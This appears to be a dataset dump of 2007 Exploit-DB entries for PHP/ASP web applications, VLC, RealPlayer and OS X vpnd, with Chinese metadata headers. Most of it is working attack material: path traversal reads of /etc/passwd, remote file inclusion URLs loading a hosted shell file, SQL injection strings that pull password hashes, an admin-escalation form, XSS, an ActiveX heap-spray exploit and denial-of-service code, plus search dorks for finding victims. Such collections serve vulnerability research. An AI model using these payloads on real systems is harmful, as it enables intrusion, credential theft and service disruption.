QLWD/code_shield huggingface dataset:
标题: ftp Admin 0.1.0 - Local File Inclusion / Cross-Site Scripting / Authentication Bypass EDB-ID: 4681 CVE: 2007-6234 2007-6233 2007-6232 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-29 漏洞利用脚本: FTP Admin v0.1.0 - MULTIPLE VULNERABILITIES
 by Omni

1) Infos
---------
Date            : 2007-11-28
Product         : FTP Admin
Version         : v0.1.0
Vendor          : http://sourceforge.net/projects/ftpadmin/
Vendor Status   : 2007-11-30 Informed!

Description     : FTP admin is a web-based user administration tool, for usage in combination with vsftpd. FTP admin
                  requires sudo. Features include modification of users and generation of user passwords.

Source          : omnipresent - omni
E-mail          : omnipresent[at]NOSPAMemail[dot]it - omni[at]NOSPAMplayhack[dot]net
Team            : Playhack.net Security

2) Security Issues
-------------------

--- [ XSS ] ---
===============================================

I think that is better let you see a PoC instead of explain where is the bug.. If you want to know it just look at the 
source code.

--- [ PoC ] ---
===============

http://localhost/ft/index.php?page=error&error=<b>...</b>
http://localhost/ft/index.php?page=error&error=<script>alert(1)</script>


--- [ Local File Inclusion ] ---
================================

Take a look in index.php, line 49:
include("$page.php");

Remembe that you have to log in to made local file inclusion (loggedin = true -> register_global = On)

[ Remembe that ]
if(!is_file($page . ".php") || (!is_readable($page . ".php"))) {
  $page = "error";
  $error = "Page does not exist or is not readable\n";
 }
}
[ /Remembe that ]

--- [ PoC ] ---
===============

http://localhost/ft/index.php?page=pass.txt%00&loggedin=true

To see pass.txt ...

--- [ Admin Bypass ] ---
================================

Today I'm too lazy to explain what's wrong.. so take a look in the source code and watch the var $loggedin !!

--- [ PoC ] ---
===============

To add a user...

http://localhost/ft/index.php?page=add&loggedin=true

# milw0rm.com [2007-11-29] URL: https://www.exploit-db.com/exploits/4681
标题: WordPress Plugin PictPress 0.91 - Remote File Disclosure EDB-ID: 4695 CVE: 2007-6369 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-05 漏洞利用脚本: Wordpress Plugin PictPress <= release0.91 Remote File Disclosure Vulnerability
D.Script : http://downloads.wordpress.org/plugin/pictpress.release-0.91.zip
Vuln Code :
In Line 5,6,7,8 :
    $path = $_GET['path'];
    $size = $_GET['size'];
    $base = dirname(__FILE__) . "/..";
    $cache = "$base/cache/$size/$path";
In Line 22 :
    readfile($cache);
POC :
    /wp-content/plugins/pictpress/resize.php?size=../../../../../../../../../../&path=/etc/passwd%00

# milw0rm.com [2007-12-05] URL: https://www.exploit-db.com/exploits/4695
标题: phpBB Garage 1.2.0 Beta3 - SQL Injection EDB-ID: 4686 CVE: 2007-6223 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-03 漏洞利用脚本: Title: phpBB Garage v1.2.0 - Beta3 Remote SQL Injection Vulnerability
Dork:  "Powered By phpBB Garage 1.2.0"

Author:  maku234
E-Mail: maku234@gmail.com



garage.php?mode=browse&search=yes&make_id=-1/**/union/**/select/**/1,2/*
garage.php?mode=browse&search=yes&make_id=-1/**/union/**/select/**/concat(user_password,char(94),username),2/**/from/**/phpbb_users/**/where/**/user_id=2/*

# milw0rm.com [2007-12-03] URL: https://www.exploit-db.com/exploits/4686
标题: tellmatic 1.0.7 - Multiple Remote File Inclusions EDB-ID: 4684 CVE: 2007-6232 2007-6231 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-01 漏洞利用脚本: ~~~~~~~~~~~~~~~~~~~~~~
~ tellmatic 1.0.7 RFI ~
~~~~~~~~~~~~~~~~~~~~~~

---------------------
Author              : ShAy6oOoN
---------------------
Group               : PitBull Crew
---------------------
Script              : tellmatic 1.0.7
---------------------
Download            : http://downloads.sourceforge.net/tellmatic/tellmatic-1.0.7.tgz?modtime=1196381865&big_mirror=0
---------------------
Vulnerability Type  : Remote File Inclusion
---------------------
Method              : get
---------------------
Register_globals    : On
---------------------
Exploit URL's       :
---------------------

http://localhost/tellmatic/include/Classes.inc.php?tm_includepath=http://localhost/shell.txt?

http://localhost/tellmatic/include/statistic.inc.php?tm_includepath=http://localhost/shell.txt?

http://localhost/tellmatic/include/status.inc.php?tm_includepath=http://localhost/shell.txt?

http://localhost/tellmatic/include/status_top_x.inc.php?tm_includepath=http://localhost/shell.txt?

http://localhost/tellmatic/include/libchart-1.1/libchart.php?tm_includepath=http://localhost/shell.txt?


Greetings:
----------

PitBull Crew : The_PitBull - iNs - c0ol - Raz0r


Thanks To:
----------

str0ke

# milw0rm.com [2007-12-01] URL: https://www.exploit-db.com/exploits/4684
标题: VideoLAN VLC Media Player 0.86 < 0.86d - ActiveX Remote Bad Pointer Initialization EDB-ID: 4688 CVE: 2007-6262 类型: DOS 平台: WINDOWS 发布日期: 2007-12-04 漏洞利用脚本: <!--
       Core Security Technologiess - CoreLabs Advisory
            http://www.coresecurity.com/corelabs

    VLC Activex Bad Pointer Initialization Vulnerability

*Advisory Information*
Title: VLC Activex Bad Pointer Initialization Vulnerability
Advisory ID: CORE-2007-1004
Advisory URL: http://www.coresecurity.com/?action=item&id=2035
Date published: 2007-12-04
Date of last update: 2007-12-03
Vendors contacted: VLC
Release mode: Coordinated Release

*Vulnerability Description*
VLC player is a popular multimedia player for various audio and video
formats, and various streaming protocols.

A vulnerability has been found in the ActiveX control DLL (axvlc.dll)
used by VLC player. This library contains three methods whose parameters
are not correctly checked, and may produce a bad initialized pointer. By
providing these functions specially crafted parameters, an attacker can
overwrite memory zones and execute arbitrary code.

*Vulnerable packages*
VLC media player version 0.86, 0.86a, 0.86b y 0.86c.
-->

<html>
<head>
<object classid='clsid:E23FE9C6-778E-49D4-B537-38FCDE4887D8'
id='target' ></object>
</head>
<body>
   <script>
      var mm  = null;

      if( target != null )
      {
         var param1 = unescape("%u0505%u0505");
         var salame = "defaultV";
         var salame2 = 1;
         var salame3 = 0;

         ag   = unescape("%uCCCC%uCCCC");
         sh   =
unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%");
         sz   = sh.length * 2;
         npsz = 0x400000 - (sz + 0x38);
         nps  = unescape("%u0505%u0505");

         while(nps.length * 2 < npsz) nps += nps;
         ihbc = (0x0E000000 - 0x400000) / 0x400000;
         mm   = new Array();

         for(i = 0; i <= ihbc; i++) mm[i] = nps + sh;

         for(var i=0;i<2000;i++)
            param1 = param1 + unescape("%u0505%u0505");
     
         target.getVariable (param1);
      }
   </script>
</body>
</html>

# milw0rm.com [2007-12-04] URL: https://www.exploit-db.com/exploits/4688
标题: RealPlayer 11 - '.au' Denial of Service EDB-ID: 4683 CVE: 2007-6235 2007-4904 类型: DOS 平台: WINDOWS 发布日期: 2007-12-01 漏洞利用脚本: #RealPlayer 11 local/remote DoS by A.Sawan aka NtWaK0 and A.Hariri aka nophie

import sys
import os

head = 
("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"+
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"+     
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"+       
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x66\x66\x66\x00")

print "[x] Windows Media Player 11 DoS by Adonis a.K.a NtWaK0 and Abed aka Nophie."

try:
   f = open("test.au",'w')
except IOError, e:
    print "Unable to open file ", e
    sys.exit(0)

print "[x] File sucessfully opened for writing."
try:
   f.write(head)
except IOError, e:
    print "Unable to write to file ", e
    sys.exit(0)
print "[x] File successfully written."
f.close()
print "[x] Open test.au with RealPlayer 11."

# milw0rm.com [2007-12-01] URL: https://www.exploit-db.com/exploits/4683
标题: Apple Mac OSX 10.5.0 (Leopard) - vpnd Remote Denial of Service (PoC) EDB-ID: 4690 CVE: 2007-6276 类型: DOS 平台: OSX 发布日期: 2007-12-04 漏洞利用脚本: /* vpnd-leopard-lb-dos.c
 *
 * Copyright (c) 2007 by <mu-b@digit-labs.org>
 *
 * Apple MACOS X 10.5.0 (leopard) vpnd remote DoS POC
 * by mu-b - Fri 9 Nov 2007
 *
 * - Tested on: Apple MACOS X 10.5.0 (leopard) vpnd
 *
 * Program received signal EXC_ARITHMETIC, Arithmetic exception.
 * 0x00004828 in accept_connections ()
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2007!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>

#define DEF_PORT      4112
#define PORT_VPND     DEF_PORT

static char abuf[] =
  "\x00\x01\x00\x18"
  "\x00\x00\x00\x00"
  "\xd5\xa5\xf9\xc3"
  "\x00\x00"          /* [edi+0Ch] -> ecx == 0 */
  "\x00\x00\x00\x00"
  "\x00\x00\x00\x00"
  "\x00\x00";

static void zattack (char *host);

static void
zattack (char *host)
{
  struct sockaddr_in address;
  struct hostent *hp;
  int fd, n;

  if ((fd = socket (AF_INET, SOCK_DGRAM, 0)) == -1)
    {
      perror ("socket()");
      exit (EXIT_FAILURE);
    }

  if ((hp = gethostbyname (host)) == NULL)
    {
      perror ("gethostbyname()");
      exit (EXIT_FAILURE);
    }

  memset (&address, 0, sizeof (address));
  memcpy ((char *) &address.sin_addr, hp->h_addr, hp->h_length);
  address.sin_port = htons (PORT_VPND);

  printf ("+Attacking %s:%d\n", host, PORT_VPND);

  n = sendto (fd, abuf, sizeof abuf - 1, 0, (struct sockaddr *) &address, sizeof address);
  if (n != sizeof abuf - 1)
    {
      fprintf (stderr, "zattack: sendto %d != %d\n", n, sizeof abuf - 1);
      exit (EXIT_FAILURE);
    }

  close (fd);
}

int
main (int argc, char **argv)
{
  printf ("Apple MACOS X 10.5.0 (leopard) vpnd remote DoS PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n");

  if (argc <= 1)
    {
      fprintf (stderr, "Usage: %s <host>\n", argv[0]);
      exit (EXIT_SUCCESS);
    }

  zattack (argv[1]);

  printf ("+Wh00t!\n");

  return (EXIT_SUCCESS);
}

// milw0rm.com [2007-12-04] URL: https://www.exploit-db.com/exploits/4690
标题: Snitz Forums 2000 - 'Active.asp' SQL Injection EDB-ID: 4687 CVE: 2007-6240 类型: WEBAPPS 平台: ASP 发布日期: 2007-12-03 漏洞利用脚本: ########################## WwW.BugReport.IR #########################
#
#      AmnPardaz Security Research & Penetration Testing Group
#
# Title: A user can gain admin level in snitz 2000 by SQL Injection
# vendor: http://forum.snitz.com/
# Googling: "Powered by Snitz" > 2,440,000 victims
# Last bug report in 2007-02-16 with 4692 visitors
# Exploit: Available
# Fix Available: Update to last version.
######################## Bug Description ###########################
A user can gain admin level in the forum and can access to the forum.
It is because of a SQL Injection in "Active.asp"

After login to your VICTIM forum, execute below script
~~~~~~~~~~~Start HTML Exploit~~~~~~~~~
<form action="http://[VICTIM URL]/active.asp" method="post">
Query: <input type="text" name="BuildTime" value="',M_Level='3" /><br />
DefaultValues: <input type="text" name="AllRead" value="Y" /><br />
Submit: <input type="submit" name="submit" value="Submit" /><br />
</form>
~~~~~~~~~~~End HTML Exploit~~~~~~~~~

#####################################################################
# Security Site: WwW.BugReport.ir - WwW.AmnPardaz.Com
# Country: Iran
# Contact: admin@bugreport.ir
# Credit: Soroush Dalili found this bug.
#####################################################################

# milw0rm.com [2007-12-03] URL: https://www.exploit-db.com/exploits/4687
标题: WebED 0.0.9 - 'index.php' Remote File Disclosure EDB-ID: 4677 CVE: 2007-6213 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-29 漏洞利用脚本: WebED v0.0.9 (index.php) Remote File Disclosure Vulnerabilities
Script : http://heanet.dl.sourceforge.net/sourceforge/ed-engine/WebED_v0.0.9.tar.gz
Vuln Code In /mod/chat/index.php :
<body>
 <?php readfile($Root.$Path); ?> <---[xxx]
 <form action="application_loader.php" method="post">
PoC :
     /mod/chat/index.php?Root=../../../../../../etc/passwd
     /mod/chat/index.php?Path=../../../../../../etc/pa

# milw0rm.com [2007-11-29] URL: https://www.exploit-db.com/exploits/4677
标题: EHCP 0.22.8 - Multiple Remote File Inclusions EDB-ID: 4671 CVE: 2007-6178 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-28 漏洞利用脚本: ---------------------------------------------------------------
 ____            __________         __             ____  __   
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
 |___|___|  /\__|  /______  /\___  >__|            |___||__|  
          \/\______|      \/     \/                           
---------------------------------------------------------------

Http://www.inj3ct-it.org     Staff[at]inj3ct-it[dot]org 

---------------------------------------------------------------

   Multiple Remote File Inclusion

---------------------------------------------------------------

# Author: MhZ91 nobody.91@hotmail.it 

# Download Script: http://sourceforge.net/projects/ehcp

# register_globals = On 

# Exploit 

# http://[site]/[path]/config/dbutil.bck.php?confdir=[Evil_Code]

# http://[site]/[path]/config/dbutil.php?confdir=[Evil_Code]

---------------------------------------------------------------

# milw0rm.com [2007-11-28] URL: https://www.exploit-db.com/exploits/4671
标题: KML share 1.1 - 'region.php?layer' Remote File Disclosure EDB-ID: 4679 CVE: 2007-6212 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-29 漏洞利用脚本: KML share 1.1 (region.php layer)Remote File Disclosure Vulnerability
Script : http://sourceforge.net/project/showfiles.php?group_id=177958
POC : region.php?layer=../../../../../../../etc/passwd%00

# milw0rm.com [2007-11-29] URL: https://www.exploit-db.com/exploits/4679
标题: LearnLoop 2.0beta7 - 'sFilePath' Remote File Disclosure EDB-ID: 4680 CVE: 2007-6214 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-29 漏洞利用脚本: LearnLoop 2.0beta7 (sFilePath) Remote File Disclosure Vulnerability
http://surfnet.dl.sourceforge.net/sourceforge/learnloop/learnloop2.0beta7.tar.gz
POC : /include/file_download.php?sFilePath=../../../../../../../etc/passwd

# milw0rm.com [2007-11-29] URL: https://www.exploit-db.com/exploits/4680
标题: Charrays CMS 0.9.3 - Multiple Remote File Inclusions EDB-ID: 4672 CVE: 2007-6179 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-28 漏洞利用脚本: ---------------------------------------------------------------
 ____            __________         __             ____  __   
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
 |___|___|  /\__|  /______  /\___  >__|            |___||__|  
          \/\______|      \/     \/                           
---------------------------------------------------------------

Http://www.inj3ct-it.org     Staff[at]inj3ct-it[dot]org 

---------------------------------------------------------------

   Multiple Remote File Inclusion

---------------------------------------------------------------

# Author: MhZ91 nobody.91@hotmail.it 

# Download Script: http://sourceforge.net/projects/charray-cms

# register_globals = On 

# Exploit 

# http://[site]/[path]/decoder/markdown.php?ccms_library_path=[Evil_Code]

# http://[site]/[path]/decoder/gallery.php?ccms_library_path=[Evil_Code]

---------------------------------------------------------------

# milw0rm.com [2007-11-28] URL: https://www.exploit-db.com/exploits/4672
标题: project alumni 1.0.9 - 'index.php?act' Local File Inclusion EDB-ID: 4669 CVE: 2007-6184 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-27 漏洞利用脚本: project alumni 1.0.9 remote file disclosure vulnerability
download : https://sourceforge.net/projects/project-alumni/

vulnerable code on index.php
include($_SERVER['DOCUMENT_ROOT'] . "/pages/" . $_GET['act'] . ".page.inc.php");

exploit :
http://victim/path/index.php?act=../../../../../../etc/passwd%00

discovered by tomplixsee

# milw0rm.com [2007-11-27] URL: https://www.exploit-db.com/exploits/4669
标题: PHP-CON 1.3 - 'include.php' Remote File Inclusion EDB-ID: 4670 CVE: 2007-6177 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-28 漏洞利用脚本: PHP-CON 1.3 - 'include.php' Remote File Inclusion

Script : http://sourceforge.net/project/showfiles.php?group_id=182182

POC :

/PHP_CON/Exchange/include.php?webappcfg[APPPATH]= Evil Code

# milw0rm.com [2007-11-28] URL: https://www.exploit-db.com/exploits/4670
标题: Web-MeetMe 3.0.3 - 'play.php' Remote File Disclosure EDB-ID: 4676 CVE: 2007-6215 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-29 漏洞利用脚本: /--------------------------------------------------------------------------\
|Web-MeetMe 3.0.3 (play.php) Remote File Disclosure Vulnerability          |
|Download Script :                                                         |
| http://sourceforge.net/project/showfiles.php?group_id=164788             |
|POC :                                                                     |
| Web-MeetMe_v3.0.3/play.php?roomNo=../../../../../../../../etc/passwd%00  |
| Web-MeetMe_v3.0.3/play.php?bookid=../../../../../../../../etc/passwd%00  |
|Discovered by : Evil.Man                                                  |
|Home Page : Tryag.Com/cc                                                  |
|Email : Evil.Man@windowslive.com                                          |
|Sp.Thanx To : GoLd_M [Mahmood_ali"Tryag.Com"] & Sniper-Sa.Com             |
\--------------------------------------------------------------------------/

# milw0rm.com [2007-11-29] URL: https://www.exploit-db.com/exploits/4676
标题: NoAh 0.9 pre 1.2 - 'filepath' Remote File Disclosure EDB-ID: 4675 CVE: 2007-6187 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-28 漏洞利用脚本: NoAh <= 0.9 pre 1.2 (filepath) Remote File Disclosure Vulnerabilities
Script : http://sourceforge.net/project/showfiles.php?group_id=131995  /noah0.9_pre1.2.tar.gz/
Exploits :
/noah/modules/nosystem/templates/css_file.php?filepath=../../../../../../etc/passwd
/noah/modules/nosystem/templates/js_file.php?filepath=../../../../../../etc/passwd
/noah/modules/nosystem/templates/xml_file.php?filepath=../../../../../../etc/passwd
S.P Thanx To : Tryag.Com[Mahmood_ali] -- Asb-May.Net/bb[Mahmood_ali]

# milw0rm.com [2007-11-28] URL: https://www.exploit-db.com/exploits/4675
标题: TuMusika Evolution 1.7R5 - Remote File Disclosure EDB-ID: 4674 CVE: 2007-6221 2007-6188 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-28 漏洞利用脚本: TuMusika Evolution 1.7R5 Remote File Disclosure Vulnerability
Script : http://sourceforge.net/project/platformdownload.php?group_id=186000
#################/frames/nogui/sc_download.php#################
<?
$file = $_GET['uri'] ;<---[xxx]
$title = $_GET['title'] ;
header('HTTP/1.1 200 OK');
header("content-type:audio/mp3");
header('Content-Disposition: attachment; filename="'.$title.'.mp3"' );  
readfile($file);<---[xxx]
?>
###############################################################
Exploit:
/Evolution1.7/frames/nogui/sc_download.php?uri=../../../../../../etc/passwd
###############################################################
TuMusika Evolution 1.7R5 Local File Inclusion Vulnerabiliies
POC:
/Evolution1.7/inc/languages_n.php?language=../../../../../../etc/passwd%00
/Evolution1.7/inc/languages_f.php?language=../../../../../../etc/passwd%00
/Evolution1.7/inc/languages.php?language=../../../../../../etc/passwd%00

# milw0rm.com [2007-11-28] URL: https://www.exploit-db.com/exploits/4674
标题: wpQuiz 2.7 - Multiple SQL Injections EDB-ID: 4668 CVE: 2007-6172 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-27 漏洞利用脚本: Tytul: wpQuiz 2.7 Remote SQL Injection Vulnerability
### http://wireplastik.com/projects.php


Autor: Kacper
E-Mail: kacper1964@yahoo.pl
Strona: devilteam.eu

Irc: irc.myg0t.com #devilteam

Blad:


viewimage.php?id=-1'+union+select+0,1,2,3,4,5,6,7,8,9,10,11,12,concat(user,char(58),password),14,15+from+users+where+id=1/*

Pozniej sciagnij obrazek i sprawdz jego zrodlo!


==========================================================================================================================
Kolejny blad dotyczy nieautoryzowanego dostepu do komentowania wynikow na quizie.








Skopiowane prosto z => http://devilteam.eu/forum/topics92/bypass-za-pomoca-sql-wpquiz-vt4278.htm
==========================================================================================================================
Elo, ostatnio natknolem sie na ciekawy skrypt Quizowy (WpQuiz) i znalazlem w nim pare ciekawych bledow. 

w skrypcie istnieje opcja pozwalajaca na blokowanie na haslo przez administratora komentowania wynikow w quizie. 

Plik comments.php zawiera zrodlo: 
Kod:
$no = $_GET['id']; 
$setcheck = mysql_fetch_array(mysql_query("SELECT * FROM sets WHERE id='".$no."'")); 
if( mysql_affected_rows() == 0 ){ 
geterror("commentsinvalidset"); 
} 
if( $setcheck['isopen'] == 0 ){ 
geterror("commentsquestionsetclosed"); 
} 
if($setcheck['password'] != ""){ 
if( !isset($_POST['password']) || ($_POST['password'] != $setcheck['password']) ){ 
?> 
<form name="pwCheck" action="<?= $_SERVER['PHP_SELF'] ?>?id=<?=$no?>" method="post"> 
<div class="pagehead"><span class="big"><b><?=getlang("commentspasswordheader",1)?></b></span></div> 
<b><?=getlang("commentspasswordrequest",1)?></b><br /> 
<?=getlang("commentspassword",1)?> <input type="password" name="password" /> 
<input type="submit" value="<?=getlang("commentspasswordsubmit",1)?>" /> 
</form> 
<?php 
exit; 
} 
}



jak widac: 
Kod:
if($setcheck['password'] != ""){



skrypt pobiera informacje z bazy danych na temat blokowania komentowania. Jesli ta opcja bedzie pusta czyli (null=0) to skrypt nie zawola o haslo. 

wiec wykonujemy zapytanie SQL dzieki linijce: 
Kod:
$no = $_GET['id']; 
$setcheck = mysql_fetch_array(mysql_query("SELECT * FROM sets WHERE id='".$no."'"));



Nasze zapytanie: 
Kod:
comments.php?id=-9'+union+select+0,1,2,3,4,5,null,7,8,9,10,11,12,13/*



metoda prob i bledow doszedlem do tego Â¿e kolumna numer 6 odpowiada za haslo i dalem tam null'a  

taki maly tutek moÂ¿e sie przydac dla tych co chca cos omijac zablokowanego na haslo  
==========================================================================================================================

//dork:"Powered by wpQuiz" 

Pozdrawiam

# milw0rm.com [2007-11-27] URL: https://www.exploit-db.com/exploits/4668